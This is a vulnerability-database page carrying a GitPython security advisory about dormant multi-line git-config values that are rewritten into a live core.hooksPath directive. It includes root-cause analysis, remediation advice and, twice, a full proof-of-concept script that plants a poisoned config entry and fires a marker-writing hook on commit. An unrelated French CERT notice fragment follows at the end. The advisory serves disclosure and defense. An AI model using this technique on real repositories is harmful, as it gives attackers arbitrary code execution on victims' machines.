Vulnerability-Lookup

URL	Tags
https://github.com/gitpython-developers/GitPython…	vendor-advisory
https://www.vulncheck.com/advisories/gitpython-be…	third-party-advisory

Vendor	Product	Version	CPE status
gitpython-developers	GitPython	Affected: 0 , < 3.1.59 (semver) Unaffected: 3.1.59 (semver) cpe:2.3:a:gitpython_project:gitpython::::::::

BREW-TERN-CVE-2026-78676 (GHSA-284H-M62Q-GF8W)

Vulnerability from osv_homebrew – Published: 2026-09-04 10:12 – Updated: 2026-10-08 01:01 – Source website

Summary

GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE

Details

CWE: CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument
Affected component: git/config.py — GitConfigParser._read() (multi-line value decoding, lines 444-541, esp. string_decode() at line 460 and its call sites at 519/541) and GitConfigParser._write()/write_section() (serialization, lines ~694-712, esp. line 708)
Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability

GitPython added UNSAFE_CONFIG_CHARS_RE / _value_to_string_safe() / _assure_config_name_safe() guards (commits c417af46, 1ed1b924, a495ccd3, and PR #2176) to reject a Python string containing a raw \r/\n/NUL byte, or syntax-bearing characters, when it is passed as an argument to set(), set_value(), add_value(), or add_section(). This closed the four config-injection GHSAs above.

That guard is applied only on the write-argument surface. It is never consulted for values that entered GitConfigParser._sections via _read() — i.e. values that came from parsing an on-disk config file. And _read() legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and string_decode() (.decode('unicode_escape')) decodes a literal two-character \n escape sequence inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real git itself uses and accepts.

The bug is in what happens when that GitConfigParser is later flushed: write_section() (line ~694) calls the unsafe self._value_to_string(v) — not _value_to_string_safe() — and "handles" any embedded newline in the value with .replace("\n", "\n\t") (line 708), emitting a bare, unquoted <real newline><tab> in the output file with no re-quoting and no backslash-continuation marker. Real git does not treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the previous line ends in a literal \ immediately before the newline. So the moment write_section() re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an independent, new config line the next time anyone (GitPython or real git) parses the file. If an attacker chooses the dormant value's content to be <anything>\nhooksPath = <attacker path>, that second line is parsed as a brand-new core.hooksPath = <attacker path> directive — live, real Git configuration, not a value.

core.hooksPath is honored by essentially every hook-firing git operation (commit, checkout, merge, push, rebase, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.

Root cause

GitConfigParser's injection guard is asymmetric: it hardens every write-argument entry point (the fix for the four sibling GHSAs) but never hardens the read → corrupt-on-rewrite round trip. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (write_section() using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The c417af46 commit message even states its intent explicitly: "This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values" — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.

Exploit path

A .git/config (or any file merged into it via [include], see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: [core] zzz = "A\nhooksPath = ../evil-hooks\ " No raw \r, \n, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real git config --get core.hookspath returns nothing at this point (inert); git config --get core.zzz returns the decoded string A\nhooksPath = ../evil-hooks, identically to GitPython's own reader.
The host application opens this repo with GitPython (git.Repo(path), read_only=False implicitly for a normal config_writer() use) and performs any single, unrelated, legitimate config write on the same GitConfigParser instance — e.g. repo.config_writer().set_value("user", "name", "Test User"). This is one of the most ordinary operations a GitPython-based tool performs.
GitConfigParser._write()/write_section() re-serializes every resident value, including the dormant zzz entry, using the unsafe path. The file on disk now contains, verbatim: [core] ... zzz = A hooksPath = ../evil-hooks
Real git config --get core.hookspath now returns ../evil-hooks — a key that did not exist before step 2, created purely by GitPython's own write.
The next hook-firing git operation (e.g. git commit) executes ../evil-hooks/pre-commit (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.

Impact

Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity GHSA-mv93-w799-cj2w/GHSA-v87r-6q3f-2j67 "Newline injection... enables RCE via core.hooksPath" advisories, and requiring no unsafe caller argument at all — only an attacker-influenced config file plus one ordinary, unrelated write.

Preconditions

A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like <anything>\n<injected-key> = <injected-value>. Realistic delivery:
Pre-existing .git directory shipped with a repository — vendored/template repos, CI workspace/layer caches that preserve .git, "repo" tarball/zip distributions that include .git/config. The poisoned value sits directly in .git/config.
The documented shared-config [include] pattern ([include] path = ../<repo-tracked-file>, pointing at a file inside the working tree) — GitConfigParser.read() merges included files' sections into the same _sections dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own .git/config to already reference the include, e.g. via project setup tooling that adds include.path).
Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write — the exact trust-boundary the maintainers already accepted as realistic for GHSA-v87r-6q3f-2j67 (their writeup cites MLRun's project.push()).
No authentication/role requirement inside GitPython itself.

Evidence

git/config.py:460 (string_decode), invoked at git/config.py:519 and :541 inside _read()'s multi-line handling — decodes unicode_escape, turning a literal \n escape into a real embedded LF.
git/config.py:~694-712 (_write()/write_section()) — uses self._value_to_string(v) (unsafe variant) and .replace("\n", "\n\t") with no re-quoting.
c417af46 (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing read behavior for multi-line values, per its own commit message.
git log -S"string_decode", -S"write_section", -S'replace("\n", "\n\t")' on git/config.py show these code paths have only ever been touched by non-security formatting/refactor commits (a5fc1d86, b825dc74, cb68eef0, 21ec5299), never by a security fix.
PoC (gitpython-002-poc.py, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated config_writer() write → core.hookspath becomes live per real git config --get → a subsequent git commit executes the injected hook and writes a benign marker file.

False-positive check (adversarial re-read)

Is this just a repeat of the four already-fixed config-injection GHSAs? No — all four require the caller to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by UNSAFE_CONFIG_CHARS_RE/VALID_CONFIG_OPTION_NAME_RE/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config file using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via _known-advisories.json (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism.
Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)? Yes, confirmed empirically: after the same crafted .git/config is rewritten by real git config user.name Test2 (a control test), the multi-line zzz entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.
Is there a guard elsewhere that would catch the resulting bare hooksPath = ... line before it's trusted? No — once on disk, it is indistinguishable from a directive the user set intentionally; core.hooksPath is honored unconditionally by git's hook-invocation machinery.
Does this require an unrealistic precondition? The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for GHSA-v87r-6q3f-2j67.
Verdict: no concrete blocker found. CONFIRMED — reproduced independently end-to-end (dormant value in place → benign unrelated config_writer() write → core.hookspath live per real git → hook fires on git commit, marker file written).

Remediation

Either (a) make write_section()/_write() use _value_to_string_safe() (or equivalent re-quoting) for every resident value, including those that originated from _read(), so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach _sections at all if the parser is opened in read_only=False mode, or (c) canonicalize output using git's own git config --file <path> --replace-all semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of _value_to_string_safe() already used on the setter path.

Confidence

High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live core.hookspath → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.

Proof-of-Concept source (`gitpython-002-poc.py`)

#!/usr/bin/env python3
"""
GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value
(standard quoted + backslash-continuation syntax, containing an escaped "\\n"
that decodes to a real embedded newline in memory) is corrupted into a NEW,
live config key the moment GitConfigParser re-serializes it during any
unrelated write. If the smuggled second "line" looks like
"hooksPath = <attacker path>", it becomes a real, active core.hooksPath after
one unrelated GitPython config write, and fires attacker code on the next
hook-triggering git operation (e.g. `git commit`).

This is CWE-88/CWE-94 style argument/config injection, but via the READ path
(a config file GitPython parses and later rewrites), not via a Python kwarg
argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /
GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all
guard the setter-argument surface only.

Run:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir>

Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a
marker file; no destructive/exfiltrating payload. Exits non-zero and prints
"NOT VULNERABLE" if the corruption / hook does not fire.
"""
import os
import subprocess
import sys


def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc"
    repo_dir = os.path.join(workdir, "repo")
    hooks_dir = os.path.join(workdir, "evil-hooks")
    marker = os.path.join(workdir, "PWNED_MARKER.txt")

    for p in (repo_dir, hooks_dir):
        os.makedirs(p, exist_ok=True)
    if os.path.exists(marker):
        os.remove(marker)

    subprocess.run(["git", "init", "-q", "-b", "main", repo_dir], check=True)
    subprocess.run(["git", "-C", repo_dir, "config", "user.email", "test@example.com"], check=True)
    subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test"], check=True)

    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value
    # inside [core] (before any other section). No raw CR/LF/NUL byte is
    # written to disk here -- this is standard git config quoting +
    # backslash-line-continuation, decoded by both real git and GitConfigParser
    # into the Python string 'A\nhooksPath = ../evil-hooks'.
    cfg_path = os.path.join(repo_dir, ".git", "config")
    with open(cfg_path) as f:
        original = f.read()
    poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n'
    # Insert right after the [core] header line so it lives in the same section.
    new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1)
    with open(cfg_path, "w") as f:
        f.write(new_config)

    # Confirm it's inert per real git before touching GitPython.
    pre = subprocess.run(
        ["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
        capture_output=True, text=True,
    )
    if pre.returncode == 0:
        print("SETUP ERROR: core.hookspath already set before GitPython touched anything")
        sys.exit(2)

    # Malicious hook: benign marker only.
    hook_path = os.path.join(hooks_dir, "pre-commit")
    with open(hook_path, "w") as f:
        f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker)
    os.chmod(hook_path, 0o755)

    import git  # gitpython under test

    repo = git.Repo(repo_dir)
    before = repo.config_reader().get_value("core", "zzz")
    print("core.zzz before any GitPython write =", repr(before))

    # ONE totally unrelated, benign write -- this is the only "attacker-adjacent"
    # action required, and it is something virtually every GitPython consumer
    # does routinely (setting an option, adding a remote, updating a branch's
    # tracking config, ...).
    with repo.config_writer() as cw:
        cw.set_value("user", "name", "Test User")

    post = subprocess.run(
        ["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
        capture_output=True, text=True,
    )
    if post.returncode != 0:
        print("NOT VULNERABLE: core.hookspath still absent after the unrelated write")
        sys.exit(1)

    injected_path = post.stdout.strip()
    print("core.hookspath is now LIVE after one unrelated write:", injected_path)

    # Trigger the hook with a normal commit to prove it fires.
    with open(os.path.join(repo_dir, "file2.txt"), "w") as f:
        f.write("change\n")
    subprocess.run(["git", "-C", repo_dir, "add", "file2.txt"], check=True)
    subprocess.run(
        ["git", "-C", repo_dir, "-c", "user.email=t@example.com", "-c", "user.name=T",
         "commit", "-q", "-m", "trigger hook"],
        check=True,
    )

    if os.path.isfile(marker):
        with open(marker) as f:
            content = f.read().strip()
        print("VULNERABLE: hook fired, marker content =", content)
        sys.exit(0)
    else:
        print("NOT VULNERABLE: hook did not fire")
        sys.exit(1)


if __name__ == "__main__":
    main()

Severity

9.8 (Critical)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 (Critical)


                    
                      CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

URL

Type

	https://github.com/gitpython-developers/GitPython…	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-78676	ADVISORY
	https://github.com/gitpython-developers/GitPython	PACKAGE
	https://github.com/pypa/advisory-database/tree/ma…	WEB
	https://www.vulncheck.com/advisories/gitpython-be…	WEB

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "gitpython",
        "resource_purl": "pkg:pypi/gitpython@3.1.45",
        "upstream_fixed_in": "3.1.59"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "tern",
        "purl": "pkg:brew/tern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/gitpython@3.1.45",
        "name": "gitpython",
        "resource": "gitpython",
        "strategy": "registry",
        "subject_version": "3.1.45"
      }
    ]
  },
  "details": "- **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) \u2014 via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument\n- **Affected component:** `git/config.py` \u2014 `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\nGitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\\r`/`\\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above.\n\nThat guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` \u2014 i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git\u0027s own backslash-continuation syntax), and `string_decode()` (`.decode(\u0027unicode_escape\u0027)`) decodes a literal two-character `\\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this \u2014 it\u0027s the same syntax real `git` itself uses and accepts.\n\nThe bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` \u2014 not `_value_to_string_safe()` \u2014 and \"handles\" any embedded newline in the value with `.replace(\"\\n\", \"\\n\\t\")` (line 708), emitting a bare, unquoted `\u003creal newline\u003e\u003ctab\u003e` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython\u0027s writer assumes \u2014 a value only continues across physical lines when the *previous* line ends in a literal `\\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value\u0027s content to be `\u003canything\u003e\\nhooksPath = \u003cattacker path\u003e`, that second line is parsed as a brand-new `core.hooksPath = \u003cattacker path\u003e` directive \u2014 live, real Git configuration, not a value.\n\n`core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.\n\n## Root cause\n`GitConfigParser`\u0027s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read \u2192 corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython\u0027s own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn\u0027t recognize). The `c417af46` commit message even states its intent explicitly: *\"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values\"* \u2014 i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.\n\n## Exploit path\n1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:\n   ```\n   [core]\n   \tzzz = \"A\\nhooksPath = ../evil-hooks\\\n   \"\n   ```\n   No raw `\\r`, `\\n`, or NUL byte appears on disk \u2014 this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\\nhooksPath = ../evil-hooks`, identically to GitPython\u0027s own reader.\n2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance \u2014 e.g. `repo.config_writer().set_value(\"user\", \"name\", \"Test User\")`. This is one of the most ordinary operations a GitPython-based tool performs.\n3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim:\n   ```\n   [core]\n   \t...\n   \tzzz = A\n   \thooksPath = ../evil-hooks\n   ```\n4. Real `git config --get core.hookspath` now returns `../evil-hooks` \u2014 a key that did not exist before step 2, created purely by GitPython\u0027s own write.\n5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.\n\n## Impact\nArbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` \"Newline injection... enables RCE via core.hooksPath\" advisories, and requiring **no unsafe caller argument at all** \u2014 only an attacker-influenced config file plus one ordinary, unrelated write.\n\n## Preconditions\n- A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `\u003canything\u003e\\n\u003cinjected-key\u003e = \u003cinjected-value\u003e`. Realistic delivery:\n  1. **Pre-existing `.git` directory shipped with a repository** \u2014 vendored/template repos, CI workspace/layer caches that preserve `.git`, \"repo\" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`.\n  2. **The documented shared-config `[include]` pattern** (`[include] path = ../\u003crepo-tracked-file\u003e`, pointing at a file inside the working tree) \u2014 `GitConfigParser.read()` merges included files\u0027 sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim\u0027s own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`).\n  3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** \u2014 the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun\u0027s `project.push()`).\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`\u0027s multi-line handling \u2014 decodes `unicode_escape`, turning a literal `\\n` escape into a real embedded LF.\n- `git/config.py:~694-712` (`_write()`/`write_section()`) \u2014 uses `self._value_to_string(v)` (unsafe variant) and `.replace(\"\\n\", \"\\n\\t\")` with no re-quoting.\n- `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message.\n- `git log -S\"string_decode\"`, `-S\"write_section\"`, `-S\u0027replace(\"\\n\", \"\\n\\t\")\u0027` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix.\n- PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value \u2192 one unrelated `config_writer()` write \u2192 `core.hookspath` becomes live per real `git config --get` \u2192 a subsequent `git commit` executes the injected hook and writes a benign marker file.\n\n## False-positive check (adversarial re-read)\n- **Is this just a repeat of the four already-fixed config-injection GHSAs?** No \u2014 all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython\u0027s own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) \u2014 none describe this read\u2192corrupt-on-rewrite mechanism.\n- **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a \"normal\" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form \u2014 only GitPython\u0027s writer corrupts it.\n- **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it\u0027s trusted?** No \u2014 once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git\u0027s hook-invocation machinery.\n- **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently end-to-end (dormant value in place \u2192 benign unrelated `config_writer()` write \u2192 `core.hookspath` live per real git \u2192 hook fires on `git commit`, marker file written).\n\n## Remediation\nEither (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git\u0027s own `git config --file \u003cpath\u003e --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path.\n\n## Confidence\nHigh. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value \u2192 benign unrelated write \u2192 live `core.hookspath` \u2192 hook execution with a benign marker) reproduced twice, independently, against the current HEAD.\n\n\n## Proof-of-Concept source (`gitpython-002-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value\n(standard quoted + backslash-continuation syntax, containing an escaped \"\\\\n\"\nthat decodes to a real embedded newline in memory) is corrupted into a NEW,\nlive config key the moment GitConfigParser re-serializes it during any\nunrelated write. If the smuggled second \"line\" looks like\n\"hooksPath = \u003cattacker path\u003e\", it becomes a real, active core.hooksPath after\none unrelated GitPython config write, and fires attacker code on the next\nhook-triggering git operation (e.g. `git commit`).\n\nThis is CWE-88/CWE-94 style argument/config injection, but via the READ path\n(a config file GitPython parses and later rewrites), not via a Python kwarg\nargument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /\nGHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all\nguard the setter-argument surface only.\n\nRun:\n  PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-002-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside \u003cworkdir\u003e. The \"malicious\" hook just writes a\nmarker file; no destructive/exfiltrating payload. Exits non-zero and prints\n\"NOT VULNERABLE\" if the corruption / hook does not fire.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-002-poc\"\n    repo_dir = os.path.join(workdir, \"repo\")\n    hooks_dir = os.path.join(workdir, \"evil-hooks\")\n    marker = os.path.join(workdir, \"PWNED_MARKER.txt\")\n\n    for p in (repo_dir, hooks_dir):\n        os.makedirs(p, exist_ok=True)\n    if os.path.exists(marker):\n        os.remove(marker)\n\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", repo_dir], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.email\", \"test@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.name\", \"Test\"], check=True)\n\n    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value\n    # inside [core] (before any other section). No raw CR/LF/NUL byte is\n    # written to disk here -- this is standard git config quoting +\n    # backslash-line-continuation, decoded by both real git and GitConfigParser\n    # into the Python string \u0027A\\nhooksPath = ../evil-hooks\u0027.\n    cfg_path = os.path.join(repo_dir, \".git\", \"config\")\n    with open(cfg_path) as f:\n        original = f.read()\n    poisoned_entry = \u0027\\tzzz = \"A\\\\nhooksPath = ../evil-hooks\\\\\\n\"\\n\u0027\n    # Insert right after the [core] header line so it lives in the same section.\n    new_config = original.replace(\"[core]\\n\", \"[core]\\n\" + poisoned_entry, 1)\n    with open(cfg_path, \"w\") as f:\n        f.write(new_config)\n\n    # Confirm it\u0027s inert per real git before touching GitPython.\n    pre = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if pre.returncode == 0:\n        print(\"SETUP ERROR: core.hookspath already set before GitPython touched anything\")\n        sys.exit(2)\n\n    # Malicious hook: benign marker only.\n    hook_path = os.path.join(hooks_dir, \"pre-commit\")\n    with open(hook_path, \"w\") as f:\n        f.write(\u0027#!/bin/sh\\necho \"PWNED-VIA-GITPYTHON-CONFIG-INJECTION\" \u003e \"%s\"\\nexit 0\\n\u0027 % marker)\n    os.chmod(hook_path, 0o755)\n\n    import git  # gitpython under test\n\n    repo = git.Repo(repo_dir)\n    before = repo.config_reader().get_value(\"core\", \"zzz\")\n    print(\"core.zzz before any GitPython write =\", repr(before))\n\n    # ONE totally unrelated, benign write -- this is the only \"attacker-adjacent\"\n    # action required, and it is something virtually every GitPython consumer\n    # does routinely (setting an option, adding a remote, updating a branch\u0027s\n    # tracking config, ...).\n    with repo.config_writer() as cw:\n        cw.set_value(\"user\", \"name\", \"Test User\")\n\n    post = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if post.returncode != 0:\n        print(\"NOT VULNERABLE: core.hookspath still absent after the unrelated write\")\n        sys.exit(1)\n\n    injected_path = post.stdout.strip()\n    print(\"core.hookspath is now LIVE after one unrelated write:\", injected_path)\n\n    # Trigger the hook with a normal commit to prove it fires.\n    with open(os.path.join(repo_dir, \"file2.txt\"), \"w\") as f:\n        f.write(\"change\\n\")\n    subprocess.run([\"git\", \"-C\", repo_dir, \"add\", \"file2.txt\"], check=True)\n    subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"-c\", \"user.email=t@example.com\", \"-c\", \"user.name=T\",\n         \"commit\", \"-q\", \"-m\", \"trigger hook\"],\n        check=True,\n    )\n\n    if os.path.isfile(marker):\n        with open(marker) as f:\n            content = f.read().strip()\n        print(\"VULNERABLE: hook fired, marker content =\", content)\n        sys.exit(0)\n    else:\n        print(\"NOT VULNERABLE: hook did not fire\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```",
  "id": "BREW-tern-CVE-2026-78676",
  "modified": "2026-10-08T01:01:49Z",
  "published": "2026-09-04T10:12:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78676"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE",
  "upstream": [
    "GHSA-284h-m62q-gf8w",
    "CVE-2026-78676",
    "PYSEC-2026-3786"
  ]
}

CERTFR-2026-AVI-1336

Vulnerability from certfr_avis - Published: 2026-10-16 - Updated: 2026-10-16

De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, une élévation de privilèges et un déni de service à distance.

Solutions

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

Impacted products

Vendor	Product	Description
